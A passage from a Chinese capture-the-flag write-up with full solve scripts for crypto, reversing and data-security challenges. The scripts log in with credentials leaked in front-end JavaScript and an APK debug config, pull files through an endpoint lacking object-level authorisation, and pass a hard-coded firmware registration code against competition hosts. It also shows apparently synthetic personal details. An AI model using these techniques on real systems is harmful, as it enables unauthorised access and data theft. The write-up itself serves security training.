for i, x in enumerate(a):
for j, y in enumerate(b):
k, sign = i + j, 1
if k >= n:
k, sign = k - n, -1
out[k] = (out[k] + sign * x * y) % q
return out
def main():
data = json.loads((ROOT / "附件 (1)" / "output.json").read_text())
n, q, rotation = data["n"], data["q"], data["rotation"]
factor = data["a"][:]
factor[rotation] = (factor[rotation] + 1) % q
secret = ring_mul(inverse_ring(factor, n, q), data["b"], n, q)
su = ring_mul(secret, data["u"], n, q)
decoded = [(x - y) % q for x, y in zip(data["v"], su)]
centered = [x - q if x > q // 2 else x for x in decoded]
bits = [0 if abs(x) < q // 4 else 1 for x in centered]
message = bytearray()
for i in range(0, n, 8):
value = 0
for bit in bits[i:i + 8]:
value = (value << 1) | bit
message.append(value)
print(message.rstrip(b"\0").decode())
if __name__ == "__main__":
main()
运行输出:
flag{noise_is_not_independent}
CRYPTO4. Shamir Secret Sharing:两个错误份额
4.1 题目输入
{
"threshold": 5,
"max_errors": 2,
"shares": [[4, ...], [5, ...], [6, ...], [3, ...], [2, ...], [1, ...], [7, ...], [8, ...], [9, ...]]
}
实际文件包含完整 prime 和 9 个大整数份额,报告中的省略号只为避免重复粘贴长常数;复现必须使用链接中的原始 JSON。
4.2 核心漏洞/数学弱点
普通 Shamir 插值假设所有 share 正确,但本题明确允许最多 2 个错误 share。任取 5 个点进行拉格朗日插值可能得到错误秘密。
使用 Berlekamp-Welch。设原多项式满足 deg(P)<=4,错误定位多项式满足 deg(E)=2,并令:
Q(x) = P(x)E(x)
对于每个观测点 (xi, yi):
Q(xi) - yi*E(xi) = 0 mod prime
这是关于 E 和 Q 系数的线性方程组。解方程后做多项式长除,得到:
E(x) = x^2 - 7x + 12
= (x-3)(x-4)
因此错误份额的横坐标为 3 和 4。恢复 P(0),再转成大端字节即可得到 flag。
4.3 完整解题脚本
#!/usr/bin/env python3
import json
import sys
from pathlib import Path
ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")
def solve_linear(a, b, p):
m = [row[:] + [value] for row, value in zip(a, b)]
row, pivots = 0, []
for col in range(len(a[0])):
pivot = next((i for i in range(row, len(m)) if m[i][col] % p), None)
if pivot is None:
continue
m[row], m[pivot] = m[pivot], m[row]
inv = pow(m[row][col] % p, -1, p)
m[row] = [(x * inv) % p for x in m[row]]
for i in range(len(m)):
if i != row and m[i][col] % p:
factor = m[i][col] % p
m[i] = [(x - factor * y) % p for x, y in zip(m[i], m[row])]
pivots.append(col)
row += 1
result = [0] * len(a[0])
for i, col in enumerate(pivots):
result[col] = m[i][-1]
return result
def evaluate(poly, x, p):
value = 0
for coefficient in reversed(poly):
value = (value * x + coefficient) % p
return value
def main():
data = json.loads((ROOT / "shares" / "shares.json").read_text())
p = int(data["prime"])
points = [(int(x), int(y)) for x, y in data["shares"]]
e, degree = data["max_errors"], data["threshold"] - 1
qdegree = degree + e
matrix, values = [], []
for x, y in points:
matrix.append([y * x**j for j in range(e)] +
[-(x**j) for j in range(qdegree + 1)])
values.append(-y * x**e)
solution = solve_linear(matrix, values, p)
error_poly = solution[:e] + [1]
quotient, remainder = [0] * (degree + 1), solution[e:]
for k in range(qdegree, e - 1, -1):
coefficient = remainder[k] * pow(error_poly[-1], -1, p) % p
quotient[k - e] = coefficient
for j, value in enumerate(error_poly):
remainder[k - e + j] = (remainder[k - e + j] - coefficient * value) % p
bad = [x for x, y in points if evaluate(quotient, x, p) != y]
secret = quotient[0]
length = max(1, (secret.bit_length() + 7) // 8)
print("bad x:", bad)
print(secret.to_bytes(length, "big").decode())
if __name__ == "__main__":
main()
运行输出:
bad x: [4, 3]
flag{two_liars_cannot_hide_a_polynomial}
RE1.baby_randomized_vm_001
样本信息:
size: 14440 bytes
sha256: 1AA0E5139B32AEDC647EE520960F4414AE2C5920ED88ADBA088384FEF3E323AF
arch: ELF64 x86-64, non-PIE
main 要求输入长度为 42。文件偏移 0x2040 开始的 0x1cf 字节是加密 VM,解密公式为:
key(i) = (0xcf + 0x25*i + 11*(i >> 1)) & 0xff
vm[i] = encrypted[i] ^ key(i)
VM 指令包括 LOAD、XOR、ADD、ROL、CMP、一字节重叠的条件跳转和 SUCCESS。每个链只约束一个输入字节,因此可逆推出候选输入;注意 ROL 的逆运算是 ROR:
from pathlib import Path
sample = Path("baby_randomized_vm_001").read_bytes()
encrypted = sample[0x2040:0x2040 + 0x1CF]
code = bytes(x ^ ((0xCF + 0x25*i + 11*(i >> 1)) & 0xFF)
for i, x in enumerate(encrypted))
def ror8(x, n):
n &= 7
return x if n == 0 else ((x >> n) | (x << (8 - n))) & 0xff
values = {}
pc = 0
while code[pc] != 0x6C:
if code[pc] != 0x4B:
raise ValueError(f"unexpected block at {pc:#x}")
idx = code[pc + 1]
pc += 2
xor_value = add_value = rotate = None
while True:
op, arg = code[pc], code[pc + 1]
if op == 0x26:
xor_value = arg
elif op == 0x1E:
add_value = arg
elif op == 0x4F: # forward operation is ROL
rotate = arg
elif op == 0x45:
value = ror8(arg, rotate)
value = (value - add_value) & 0xff
values[idx] = value ^ xor_value
elif op == 0x21: # overlapping jump: consume opcode only
pc += 1
break
else:
raise ValueError(f"unexpected opcode {op:#x}")
pc += 2
flag = bytes(values[i] for i in range(42))
print(flag.decode())
输出:
flag{8775a086-19c3-423e-b3f8-20a6045b62de}
数据安全
泄露的文件
摘要
目标站点的前端脚本泄露了合作方演示账号。登录后,工作台脚本进一步暴露了对象存储密钥;对象下载接口缺少对象级权限隔离,导致可以下载包含联系人表格的泄露文件。表格 XML 对手机号做了遮蔽,但 XLSX 内嵌截图没有同步脱敏。
解题过程
第 1 步:获取演示账号
访问主页和 /login,发现登录页引用了 /static/login.js。脚本中直接写有:
const DEMO_ACCOUNT = {
username: "partner_demo",
password: "Demo@Xlan2026"
};
这是前端硬编码凭据泄露。使用该账号提交:
curl -c cookies.txt \
-d 'username=partner_demo&password=Demo%40Xlan2026' \
http://psdxs.idss-cn.com:27697/login
登录成功后进入合作方工作台。
第 2 步:分析工作台 API 并下载泄露对象
读取 /static/workbench.js:
fetch("/api/v2/tasks")
fetch("/api/v2/objects?key=" + STORAGE_KEY)
调用任务接口得到:
{
"storageKey": "xlan-store-key-0314-a7f2"
}
再请求对象列表:
curl -b cookies.txt \
'http://psdxs.idss-cn.com:27697/api/v2/objects?key=xlan-store-key-0314-a7f2'
列表中筛选 created_on=2026-03-14,得到三个候选对象:
T-8f3a.bin | incident-desk | ||
T-4b1c.bin | intake-front | ||
T-6d2e.bin | archive |
下载台席导出对象:
curl -b cookies.txt \
'http://psdxs.idss-cn.com:27697/api/v2/objects/archives/2026/03/T-8f3a.bin?key=xlan-store-key-0314-a7f2' \
-o leak.zip
unzip -l leak.zip
压缩包内容为:
contacts-0314.xlsx
manifest.json
README.txt
这里存在第二处问题:对象列表和对象下载接口只验证了通用 storageKey,没有将对象权限限制到当前合作方任务。
第 3 步:恢复完整手机号
打开 contacts-0314.xlsx 后,工作表中陈予安有三条记录:
131****6667 2025-11-20 XL-CASE-20251120-0091
139****0847 2026-03-14 XL-CASE-20260314-0771
137****8821 2026-02-03 XL-CASE-20260203-0044
题目要求的是 2026-03-14 的记录,因此目标遮蔽号码是 139****0847。
XLSX 本质上是 ZIP 容器。检查 xl/media/ 可发现 table.png:
import zipfile
with zipfile.ZipFile("contacts-0314.xlsx") as workbook:
print(workbook.namelist())
with workbook.open("xl/media/table.png") as source:
open("table.png", "wb").write(source.read())
截图中的表格是导出前的原始内容,手机号没有同步遮蔽。定位陈予安、登记日期 2026-03-14 的行并放大读取,完整号码为:
13962150847
它与 XML 中的 139****0847 相符,中间四位为 6215。
完整自动化流程见。脚本会自动登录、获取对象列表、下载并解出 table.png,最后输入截图中的完整号码并输出 flag。
#!/usr/bin/env python3
import io
import json
import zipfile
from pathlib import Path
import requests
BASE = "http://psdxs.idss-cn.com:27697"
SESSION = requests.Session()
def main():
login = SESSION.post(
BASE + "/login",
data={"username": "partner_demo", "password": "Demo@Xlan2026"},
timeout=20,
)
login.raise_for_status()
tasks = SESSION.get(BASE + "/api/v2/tasks", timeout=20).json()
storage_key = tasks["storageKey"]
objects = SESSION.get(
BASE + "/api/v2/objects", params={"key": storage_key}, timeout=20
).json()["objects"]
candidates = [
item for item in objects
if item["created_on"] == "2026-03-14"
]
target = next(item for item in candidates if item["key"].endswith("T-8f3a.bin"))
archive = SESSION.get(
BASE + "/api/v2/objects/" + target["key"],
params={"key": storage_key},
timeout=20,
)
archive.raise_for_status()
with zipfile.ZipFile(io.BytesIO(archive.content)) as outer:
xlsx = outer.read("contacts-0314.xlsx")
Path("contacts-0314.xlsx").write_bytes(xlsx)
with zipfile.ZipFile(io.BytesIO(xlsx)) as workbook:
image = workbook.read("xl/media/table.png")
Path("table.png").write_bytes(image)
print("Saved table.png. Locate the row for 陈予安 dated 2026-03-14.")
phone = input("Enter the 11-digit phone number from the unmasked image: ").strip()
if not (phone.isdigit() and len(phone) == 11):
raise ValueError("phone must be exactly 11 digits")
print(f"flag{{{phone}}}")
if __name__ == "__main__":
main()
漏洞总结
/static/login.js | ||
/api/v2/tasks/api/v2/objects | storageKey 暴露且缺少对象级授权 | |
contacts-0314.xlsxxl/media/table.png |
Flag(旗标)
flag{13962150847}
调试数据泄漏
摘要
题目提供了一个 Android APK 和账户中心网页。APK 的 assets/debug_config.json 遗留了调试账号密码,且 Manifest 中存在 DebugInfoActivity 调试组件。使用泄露账号登录网页后,可从账户资料中取得目标邮箱。
解题过程
第 1 步:分析 APK 并定位泄露信息
APK 文件为:
C:\Users\34645\Downloads\app-release\app-release.apk
解压 APK 后检查 assets/debug_config.json:
{
"environment": "PRODUCTION",
"webUrl": "http://192.168.56.10:8080",
"apiBaseUrl": "http://192.168.56.10:8080/api/v1",
"testUsername": "debug0",
"testPassword": "e145b0f47698b3c4",
"buildVersion": "2026.07-release",
"debugLogs": [
"[DEBUG] Audit service connection available",
"[DEBUG] Temporary audit account enabled",
"[WARN] Debug component access control is not configured"
]
}
DEX 中还能定位到以下应用类:
Lcom/example/tifn/MainActivity;
Lcom/example/debug/DebugInfoActivity;
DebugInfoActivity 会收集并展示应用、构建、网络、存储、系统属性及保存连接信息,属于不应对外暴露的调试组件。
第 2 步:使用泄露账号登录 Web
访问:
http://psdxs.idss-cn.com:27511/
网页前端调用 /api/captcha 获取验证码,再向 /api/login 发送 JSON 请求。验证码图片是 SVG Base64,可以直接解码读取文字。
示例完整脚本如下:
import base64
import json
import re
import requests
BASE = "http://psdxs.idss-cn.com:27511"
USERNAME = "debug0"
PASSWORD = "e145b0f47698b3c4"
s = requests.Session()
captcha = s.get(BASE + "/api/captcha").json()["data"]
# captchaImage 为 data:image/svg+xml;base64,...,SVG 文本节点中直接包含验证码
svg = base64.b64decode(captcha["captchaImage"].split(",", 1)[1]).decode()
code = re.search(r">([A-Za-z0-9]{5})</text>", svg).group(1)
login = s.post(BASE + "/api/login", json={
"username": USERNAME,
"password": PASSWORD,
"captchaId": captcha["captchaId"],
"captcha": code,
}).json()
assert login["success"]
email = login["data"]["user"]["email"]
print("flag{" + email + "}")
实际登录返回的用户为 debug0,账户资料中的邮箱为:
ec7b38b79f53c5fd@data.com
firmware-web
第 1 步:下载并定位网页端校验逻辑
固件下载接口为 GET /download/firmware,文件前 0x100 字节是 SEFW 头部,之后为 XZ 压缩的 SquashFS。抽取后的关键文件是 usr/bin/firmware-web,它是保留 Go 函数名的 ELF。
curl -o secureedge-firmware.bin http://psdxs.idss-cn.com:29671/download/firmware
dd if=secureedge-firmware.bin of=firmware.squashfs bs=1 skip=256
unsquashfs -d secureedge-rootfs firmware.squashfs
strings -a secureedge-rootfs/usr/bin/firmware-web | grep -E 'main\.(isRealRegistrationCode|decodeRegistrationCode)'
输出包含:
main.isRealRegistrationCode
main.decodeRegistrationCode
逆向 main.decodeRegistrationCode 可见程序将硬编码内容 2DFDD-D6763-4F14C-74AAF-1F2F4 按字符逆序;main.isRealRegistrationCode 再用 crypto/subtle.ConstantTimeCompare 比较表单输入与该结果。对应函数入口分别为 0x917280 和 0x917180,反转循环位于 0x91731d-0x9173c5,比较调用位于 0x91722f。
不要将其与 usr/bin/agentd 混淆。agentd 校验的是设备本地许可 SHA256("SEG-2000|1.4.7|secureedge-lab-license");题目 Web 表单实际使用的是 firmware-web 中的通用注册码逻辑。
第 2 步:利用硬编码通用注册码
这是授权逻辑漏洞,而非加密破解:注册码不与用户名、设备、时间或服务器端授权状态绑定。只要输入该固定值,任何用户名都能通过校验。
firmware-webmain.decodeRegistrationCode 与 main.isRealRegistrationCode | |
/api/authorize 提交任意用户名、正确验证码和固定注册码 | |
registration_code=4F2F1-FAA47-C41F4-3676D-DDFD2 |
encoded = "2DFDD-D6763-4F14C-74AAF-1F2F4"
registration_code = encoded[::-1]
assert registration_code == "4F2F1-FAA47-C41F4-3676D-DDFD2"
验证码由 GET /api/captcha 返回。读取其 image_data 中显示的 5 位数字后,将同一响应的 captcha_id、用户名 tom、上述注册码和验证码一并提交:
POST /api/authorize
Content-Type: application/json
{
"username": "tom",
"registration_code": "4F2F1-FAA47-C41F4-3676D-DDFD2",
"captcha_id": "<GET /api/captcha 返回的 captcha_id>",
"captcha_code": "<图片中的五位数字>"
}
成功响应中的 authorization_code 为:
B8061-964CB-90106-F2992-822D5
完整求解脚本
solve_data_distribution_security.py 会完成固件下载、SquashFS 解包、Web 二进制标识校验、注册码还原、验证码图片保存和授权请求。运行前需要将 unsquashfs 放入 PATH:
#!/usr/bin/env python3
import base64
import json
import shutil
import subprocess
import sys
from pathlib import Path
from urllib.request import HTTPCookieProcessor, Request, build_opener
from http.cookiejar import CookieJar
BASE_URL = "http://psdxs.idss-cn.com:29671"
FIRMWARE = Path("secureedge-firmware.bin")
ROOTFS = Path("secureedge-rootfs")
WEB_BINARY = ROOTFS / "usr" / "bin" / "firmware-web"
USERNAME = "tom"
def get(opener, path):
return opener.open(Request(BASE_URL + path), timeout=20).read()
def post_json(opener, path, payload):
request = Request(
BASE_URL + path,
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json", "Accept": "application/json"},
method="POST",
)
return json.loads(opener.open(request, timeout=20).read())
def extract_web_binary(opener):
FIRMWARE.write_bytes(get(opener, "/download/firmware"))
if FIRMWARE.read_bytes()[:4] != b"SEFW":
raise RuntimeError("unexpected firmware header")
squashfs = Path("firmware.squashfs")
squashfs.write_bytes(FIRMWARE.read_bytes()[0x100:])
if ROOTFS.exists():
shutil.rmtree(ROOTFS)
subprocess.run(["unsquashfs", "-d", str(ROOTFS), str(squashfs)], check=True)
binary = WEB_BINARY.read_bytes()
if b"main.decodeRegistrationCode" not in binary:
raise RuntimeError("firmware-web signature not found")
def recover_registration_code():
# Reconstructed from main.decodeRegistrationCode in firmware-web.
encoded = "2DFDD-D6763-4F14C-74AAF-1F2F4"
return encoded[::-1]
def main():
opener = build_opener(HTTPCookieProcessor(CookieJar()))
extract_web_binary(opener)
registration_code = recover_registration_code()
print("registration code:", registration_code)
captcha = json.loads(get(opener, "/api/captcha"))
mime, payload = captcha["image_data"].split(",", 1)
extension = ".png" if "png" in mime else ".img"
image_path = Path("captcha" + extension)
image_path.write_bytes(base64.b64decode(payload))
print("captcha image written to:", image_path.resolve())
captcha_code = input("Enter the 5 displayed captcha digits: ").strip()
response = post_json(
opener,
"/api/authorize",
{
"username": USERNAME,
"registration_code": registration_code,
"captcha_id": captcha["captcha_id"],
"captcha_code": captcha_code,
},
)
if "authorization_code" not in response:
raise RuntimeError(response.get("error", response))
print("flag{%s}" % response["authorization_code"])
if __name__ == "__main__":
try:
main()
except Exception as error:
print(f"solve failed: {error}", file=sys.stderr)
sys.exit(1)
脚本提示时人工读取保存的验证码图片并输入其五位数字,最终输出:
flag{B8061-964CB-90106-F2992-822D5}
第一题:数据脱敏校验
规则
每条记录字段顺序为:
CustomerID, FullName, PhoneNumber, Email, IDCardNumber, Nonce, Verification_Hash
丢弃手机号长度不为 11、邮箱不含 @、身份证号码长度不为 18 的行。对剩余行:
FullName | * |
PhoneNumber | **** |
Email | ****;长度不大于 2 时保留首字符再加 ****;域名不变 |
IDCardNumber | * |
以 FullName-PhoneNumber-Email-IDCardNumber-Nonce 的顺序拼接脱敏值和原始Nonce,使用 UTF-8 编码计算 SHA-256,再与 Verification_Hash 比较。
例如首条有效记录生成:
杨*-138****8788-l****n@example.net-141023********784X-de5031a9fd8c
其 SHA-256 为:
f664bf0bd48922d4976499d7b74ddf33d201bb672de7eafc17919c6dffecece2
完整脚本
保存为 solve_desensitization.py:
from hashlib import sha256
from pathlib import Path
from xml.etree import ElementTree as ET
from zipfile import ZipFile
XLSX = Path("unzip_202609052050_data/data.xlsx")
NS = {"x": "http://schemas.openxmlformats.org/spreadsheetml/2006/main"}
def read_xlsx(path):
with ZipFile(path) as archive:
strings_root = ET.fromstring(archive.read("xl/sharedStrings.xml"))
strings = ["".join(node.itertext())
for node in strings_root.findall("x:si", NS)]
sheet_root = ET.fromstring(archive.read("xl/worksheets/sheet1.xml"))
rows = []
for row in sheet_root.findall(".//x:sheetData/x:row", NS):
values = []
for cell in row.findall("x:c", NS):
value_node = cell.find("x:v", NS)
value = "" if value_node is None else value_node.text
if cell.get("t") == "s" and value:
value = strings[int(value)]
values.append(value)
rows.append(values)
return rows
def mask_name(value):
return value[:1] + "*" * (len(value) - 1)
def mask_phone(value):
return value[:3] + "****" + value[-4:]
def mask_email(value):
local, domain = value.split("@", 1)
return local[0] + "****" + (local[-1] if len(local) > 2 else "") + "@" + domain
def mask_id_card(value):
return value[:6] + "********" + value[-4:]
header, *records = read_xlsx(XLSX)
assert header == ["CustomerID", "FullName", "PhoneNumber", "Email",
"IDCardNumber", "Nonce", "Verification_Hash"]
invalid_ids = []
abnormal = []
for customer_id, full_name, phone, email, id_card, nonce, stored_hash in records:
if len(phone) != 11 or "@" not in email or len(id_card) != 18:
invalid_ids.append(customer_id)
continue
payload = "-".join([
mask_name(full_name), mask_phone(phone), mask_email(email),
mask_id_card(id_card), nonce,
])
expected_hash = sha256(payload.encode("utf-8")).hexdigest()
if expected_hash != stored_hash:
abnormal.append((customer_id, expected_hash, stored_hash))
abnormal.sort()
print("总记录数:", len(records))
print("无效记录数:", len(invalid_ids))
print("有效记录数:", len(records) - len(invalid_ids))
print("异常 CustomerID:", "_".join(row[0] for row in abnormal))
for customer_id, expected, stored in abnormal:
print(customer_id, "expected=", expected, "stored=", stored)
运行:
python3 solve_desensitization.py
结果:总记录 1000 条,丢弃无效行 31 条,有效行 969 条。异常记录为:
CUS-00183
CUS-00235
CUS-00356
CUS-00893
各异常记录的重新计算摘要:
CUS-00183 | 7bcc87af28290a4ad8f6ce2c4e4b6e5021257e2a9c811e6c94d902b41f17f84f |
CUS-00235 | 62d6a504445503e7be412fa47d59566ec3f34efdd128ed6abfc33a7703233e05 |
CUS-00356 | d2fe7e3fbe2d3af343c6d188382c1eab984bf7832bb1d3ba01557e1bd2fd19c1 |
CUS-00893 | fb9613bd738c3fab83ccd8e650cca99b2a3c03928bfc07378fc14a22935e55f2 |
第一题提交:
flag{CUS-00183_CUS-00235_CUS-00356_CUS-00893}
第二题:数据水印分析
第一问:水印和用户
management_a.sql 中 qinggan_list_65 的一行内容为:
INSERT INTO `qinggan_list_65` VALUES (1310, 1, 151, 198, '测试下载~', ..., '1029');
表面上 note 字段是“测试下载~”,但其第一个不可见字符为 U+200B,即零宽空格。 可用以下命令显示其转义值:
python3 - <<'PY'
from pathlib import Path
for number, line in enumerate(Path("unzip_202609052031_management_a/management_a.sql").read_text().splitlines(), 1):
if "\u200b" in line:
print(number, line.encode("unicode_escape").decode())
PY
该下载记录的 dfile 为 1029。查 qinggan_res 可得到该资源的最后一列admin_id=1,查 qinggan_adm 的 ID 1 记录,账号为 admin。
第一问提交:
U+200B-admin
第二问:RSA 私钥恢复
私钥在 qinggan_adm.key 字段,是 PKCS#1 DER 的 PEM 编码。n、d、p、q含有用零字节替换的内容,但 CRT 参数 dP 和 dQ 可用。
RSA 参数满足:
dP = d mod (p - 1)
dQ = d mod (q - 1)
e * dP - 1 = kp * (p - 1)
e * dQ - 1 = kq * (q - 1)
本题公钥指数 e=65537。枚举 1 <= k < e,可由可整除的候选直接恢复素数:
prime = (e * residue - 1) / k + 1
恢复出 p、q 后,计算:
d = inverse(e, (p - 1) * (q - 1))
题目要求的是十进制私钥指数 d 的小写 MD5。恢复系数为 kp=28614、kq=15754。
第三问:订单日志校验
目标表为 qinggan_order_logs。正常数据可反推 verification 的规则:
verification = MD5(str(order_id) + str(addtime))
字段直接拼接,无分隔符。例如日志 ID 202 的 order_id=19、addtime=1476372011,因此:
MD5("191476372011") = 51c529b7cc5d6c1b498e1754d5902fd3
与表中的摘要一致。逐条重算即可找出未通过校验的日志。
第二题完整脚本
保存为 solve_watermark.py:
import base64
import hashlib
import re
from pathlib import Path
SQL = Path("unzip_202609052031_management_a/management_a.sql")
def parse_values(line):
"""解析本题 INSERT VALUES 的普通数值及单引号字符串。"""
body = line[line.index("VALUES (") + 8:-2]
values, pos = [], 0
while pos < len(body):
if body[pos] == "'":
pos += 1
text = []
while body[pos] != "'":
if body[pos] == "\\":
pos += 1
text.append(body[pos])
pos += 1
pos += 1
values.append("".join(text))
else:
end = body.find(",", pos)
end = len(body) if end == -1 else end
values.append(body[pos:end].strip())
pos = end
if pos < len(body) and body[pos] == ",":
pos += 1
if pos < len(body) and body[pos] == " ":
pos += 1
return values
def read_length(data, pos):
first = data[pos]
if first < 0x80:
return first, pos + 1
width = first & 0x7F
return int.from_bytes(data[pos + 1:pos + 1 + width], "big"), pos + 1 + width
def read_pkcs1_integers(der):
assert der[0] == 0x30
_, pos = read_length(der, 1)
values = []
while pos < len(der):
assert der[pos] == 0x02
width, start = read_length(der, pos + 1)
pos = start + width
values.append(int.from_bytes(der[start:pos], "big"))
return values
def recover_prime(residue, exponent):
target = exponent * residue - 1
for k in range(1, exponent):
if target % k:
continue
candidate = target // k + 1
if candidate.bit_length() == 1024 and pow(2, candidate - 1, candidate) == 1:
return candidate, k
raise RuntimeError("prime recovery failed")
sql = SQL.read_text(encoding="utf-8")
lines = sql.splitlines()
# 水印 -> 资源 ID -> 管理员 ID -> 管理员账号。
watermark_values = parse_values(next(line for line in lines if "\u200b" in line))
watermark = watermark_values[4][0]
resource_id = watermark_values[-1]
resource_values = parse_values(next(
line for line in lines
if line.startswith(f"INSERT INTO `qinggan_res` VALUES ({resource_id},")
))
admin_id = resource_values[-1]
admin_values = parse_values(next(
line for line in lines
if line.startswith(f"INSERT INTO `qinggan_adm` VALUES ({admin_id},")
))
# PEM -> DER -> PKCS#1 INTEGER 序列。
pem_body = re.search(
r"-----BEGIN RSA PRIVATE KEY-----\\r\\n(.*?)\\r\\n-----END RSA PRIVATE KEY-----",
sql,
).group(1)
version, _, e, _, _, _, d_p, d_q, _ = read_pkcs1_integers(base64.b64decode(pem_body))
assert version == 0 and e == 65537
p, kp = recover_prime(d_p, e)
q, kq = recover_prime(d_q, e)
private_d = pow(e, -1, (p - 1) * (q - 1))
# 重算订单日志摘要。
failed_ids = []
for line in lines:
if not line.startswith("INSERT INTO `qinggan_order_logs` VALUES "):
continue
log_id, order_id, _, addtime, _, _, stored, _ = parse_values(line)
expected = hashlib.md5((order_id + addtime).encode()).hexdigest()
if expected != stored:
failed_ids.append(int(log_id))
print("watermark:", f"U+{ord(watermark):04X}")
print("user:", admin_values[1])
print("kp, kq:", kp, kq)
print("private d MD5:", hashlib.md5(str(private_d).encode()).hexdigest())
print("failed IDs:", "-".join(map(str, sorted(failed_ids))))
运行:
python3 solve_watermark.py
输出:
watermark: U+200B
user: admin
kp, kq: 28614 15754
private d MD5: 6e7436f7b7cf17661ec5d043ef24f12b
failed IDs: 212-222-227-255-294-301-311
第二题三项提交结果:
U+200B-admin
6e7436f7b7cf17661ec5d043ef24f12b
212-222-227-255-294-301-311
